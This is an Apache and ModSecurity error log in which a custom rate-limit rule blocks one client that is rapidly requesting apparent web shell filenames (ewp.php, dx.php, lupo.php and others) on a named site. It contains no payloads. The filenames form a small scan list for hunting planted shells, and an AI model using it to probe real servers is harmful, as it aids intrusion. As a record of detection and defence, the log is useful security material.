[Fri Apr 17 14:31:56.607737 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:25947] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3BP68VyHNvj1e56iMQAAANA"]
[Fri Apr 17 14:31:57.021327 2026] [:error] [pid 9153:tid 9228] [client 74.234.56.128:24956] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3eMHGxkTZX3c45fO5AAAAIo"]
[Fri Apr 17 14:31:57.238720 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:25352] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3eMHGxkTZX3c45fO6wAAAJc"]
[Fri Apr 17 14:31:57.651731 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:26386] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3RP68VyHNvj1e56iPgAAANc"]
[Fri Apr 17 14:31:57.793099 2026] [:error] [pid 9153:tid 9238] [client 74.234.56.128:25874] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3eMHGxkTZX3c45fO7QAAAJQ"]
[Fri Apr 17 14:31:58.157159 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:25444] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3pJYca8I3TNCwIf99gAAAFg"]
[Fri Apr 17 14:31:58.327064 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:26451] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ewp.php"] [unique_id "aeHT3pJYca8I3TNCwIf99wAAAEM"]
[Fri Apr 17 14:31:58.703334 2026] [:error] [pid 9152:tid 9194] [client 74.234.56.128:26456] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT3pJYca8I3TNCwIf9-gAAAEQ"]
[Fri Apr 17 14:31:58.853129 2026] [:error] [pid 25010:tid 25021] [client 74.234.56.128:25449] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT3o-7kkf42RarqQ1FcQAAAUg"]
[Fri Apr 17 14:31:59.206849 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:25868] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT35JYca8I3TNCwIf9_AAAAEk"]
[Fri Apr 17 14:31:59.367431 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:24439] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT35JYca8I3TNCwIf9_QAAAEA"]
[Fri Apr 17 14:31:59.717667 2026] [:error] [pid 9152:tid 9207] [client 74.234.56.128:25452] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT35JYca8I3TNCwIf9_gAAAFE"]
[Fri Apr 17 14:31:59.922073 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:23872] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT38OaH-Pgc7WEf4NF3AAAAdI"]
[Fri Apr 17 14:32:00.261293 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25983] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT4MOaH-Pgc7WEf4NF3gAAAcI"]
[Fri Apr 17 14:32:00.493660 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:25911] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kikikoko.php"] [unique_id "aeHT4MOaH-Pgc7WEf4NF3wAAAcA"]
[Fri Apr 17 14:32:00.795971 2026] [:error] [pid 61523:tid 61561] [client 74.234.56.128:24892] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4MOaH-Pgc7WEf4NF4QAAAdM"]
[Fri Apr 17 14:32:01.014013 2026] [:error] [pid 61523:tid 61557] [client 74.234.56.128:25880] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4cOaH-Pgc7WEf4NF5AAAAc8"]
[Fri Apr 17 14:32:01.304522 2026] [:error] [pid 61523:tid 61564] [client 74.234.56.128:26466] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4cOaH-Pgc7WEf4NF5QAAAdY"]
[Fri Apr 17 14:32:01.554034 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:25911] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4cOaH-Pgc7WEf4NF5gAAAc0"]
[Fri Apr 17 14:32:01.805319 2026] [:error] [pid 34273:tid 34279] [client 74.234.56.128:26470] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4WuQDW686mK3dgHCyQAAAYQ"]
[Fri Apr 17 14:32:02.059884 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:26453] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4sOaH-Pgc7WEf4NF6AAAAdQ"]
[Fri Apr 17 14:32:02.312895 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:23882] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4sOaH-Pgc7WEf4NF6wAAAdA"]
[Fri Apr 17 14:32:02.609604 2026] [:error] [pid 61523:tid 61545] [client 74.234.56.128:23895] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nwflm.php"] [unique_id "aeHT4sOaH-Pgc7WEf4NF7gAAAcM"]
[Fri Apr 17 14:32:02.849431 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25410] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT4sOaH-Pgc7WEf4NF8AAAAcI"]
[Fri Apr 17 14:32:03.125595 2026] [:error] [pid 34273:tid 34286] [client 74.234.56.128:25420] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT42uQDW686mK3dgHCywAAAYs"]
[Fri Apr 17 14:32:03.378431 2026] [:error] [pid 61523:tid 61564] [client 74.234.56.128:26384] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT48OaH-Pgc7WEf4NF8gAAAdY"]
[Fri Apr 17 14:32:03.630785 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:24910] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT42uQDW686mK3dgHCzQAAAYk"]
[Fri Apr 17 14:32:03.877972 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:24899] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT48OaH-Pgc7WEf4NF9QAAAck"]
[Fri Apr 17 14:32:04.147228 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:25392] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT5MOaH-Pgc7WEf4NF9gAAAdg"]
[Fri Apr 17 14:32:04.388313 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:25954] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT5BP68VyHNvj1e56iRAAAAMk"]
[Fri Apr 17 14:32:04.689380 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:26404] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeHT5MOaH-Pgc7WEf4NF9wAAAcs"]
[Fri Apr 17 14:32:04.918737 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:25890] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5JJYca8I3TNCwIf-AgAAAFc"]
[Fri Apr 17 14:32:05.227825 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:26381] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5cOaH-Pgc7WEf4NF-AAAAcU"]
[Fri Apr 17 14:32:05.454218 2026] [:error] [pid 25010:tid 25017] [client 74.234.56.128:25941] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5Y-7kkf42RarqQ1FcwAAAUQ"]
[Fri Apr 17 14:32:05.761369 2026] [:error] [pid 9153:tid 9225] [client 74.234.56.128:26444] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5eMHGxkTZX3c45fO8gAAAIc"]
[Fri Apr 17 14:32:05.967344 2026] [:error] [pid 25010:tid 25034] [client 74.234.56.128:26410] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5Y-7kkf42RarqQ1FdAAAAVU"]
[Fri Apr 17 14:32:06.312050 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:26492] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5hP68VyHNvj1e56iRgAAAM8"]
[Fri Apr 17 14:32:06.472658 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:26380] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5hP68VyHNvj1e56iRwAAANE"]
[Fri Apr 17 14:32:06.847751 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26431] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeHT5hP68VyHNvj1e56iSQAAANQ"]
[Fri Apr 17 14:32:07.004518 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:24833] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT5xP68VyHNvj1e56iSwAAANY"]
[Fri Apr 17 14:32:07.379191 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:26436] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT5xP68VyHNvj1e56iTgAAAMM"]
[Fri Apr 17 14:32:07.521186 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:26494] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT58OaH-Pgc7WEf4NF-gAAAco"]
[Fri Apr 17 14:32:07.916665 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:26465] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT5xP68VyHNvj1e56iUgAAANA"]
[Fri Apr 17 14:32:08.058528 2026] [:error] [pid 9263:tid 9269] [client 74.234.56.128:26373] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT6BP68VyHNvj1e56iUwAAAMQ"]
[Fri Apr 17 14:32:08.427323 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:26412] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT6BP68VyHNvj1e56iVQAAAMU"]
[Fri Apr 17 14:32:08.586567 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:26407] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT6BP68VyHNvj1e56iVgAAAMI"]
[Fri Apr 17 14:32:08.926920 2026] [:error] [pid 9263:tid 9265] [client 74.234.56.128:26452] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeHT6BP68VyHNvj1e56iWAAAAMA"]
[Fri Apr 17 14:32:09.135098 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:26392] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeHT6RP68VyHNvj1e56iWQAAANU"]
[Fri Apr 17 14:32:09.430392 2026] [:error] [pid 9152:tid 9209] [client 74.234.56.128:25938] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeHT6ZJYca8I3TNCwIf-BQAAAFM"]
[Fri Apr 17 14:32:09.669947 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:24834] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeHT6RP68VyHNvj1e56iXAAAANY"]
[Fri Apr 17 14:32:09.969555 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:25886] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeHT6ZJYca8I3TNCwIf-BgAAAEA"]
[Fri Apr 17 14:32:10.194571 2026] [proxy_fcgi:error] [pid 9152:tid 9210] [client 74.234.56.128:24837] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:10.449046 2026] [proxy_fcgi:error] [pid 9152:tid 9212] [client 74.234.56.128:24837] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:10.524115 2026] [proxy_fcgi:error] [pid 9263:tid 9283] [client 74.234.56.128:26394] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:10.703190 2026] [proxy_fcgi:error] [pid 9152:tid 9196] [client 74.234.56.128:24837] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:10.795354 2026] [proxy_fcgi:error] [pid 9263:tid 9266] [client 74.234.56.128:26394] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:10.960573 2026] [proxy_fcgi:error] [pid 9152:tid 9198] [client 74.234.56.128:24837] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:11.061954 2026] [proxy_fcgi:error] [pid 9263:tid 9273] [client 74.234.56.128:26394] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:11.224367 2026] [proxy_fcgi:error] [pid 9152:tid 9201] [client 74.234.56.128:24837] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:11.330921 2026] [proxy_fcgi:error] [pid 9263:tid 9277] [client 74.234.56.128:26394] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:11.598872 2026] [proxy_fcgi:error] [pid 9263:tid 9287] [client 74.234.56.128:26394] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:32:11.738166 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:24837] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT65JYca8I3TNCwIf-DgAAAE0"]
[Fri Apr 17 14:32:12.280093 2026] [:error] [pid 34273:tid 34278] [client 74.234.56.128:24902] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "aeHT7GuQDW686mK3dgHCzwAAAYM"]
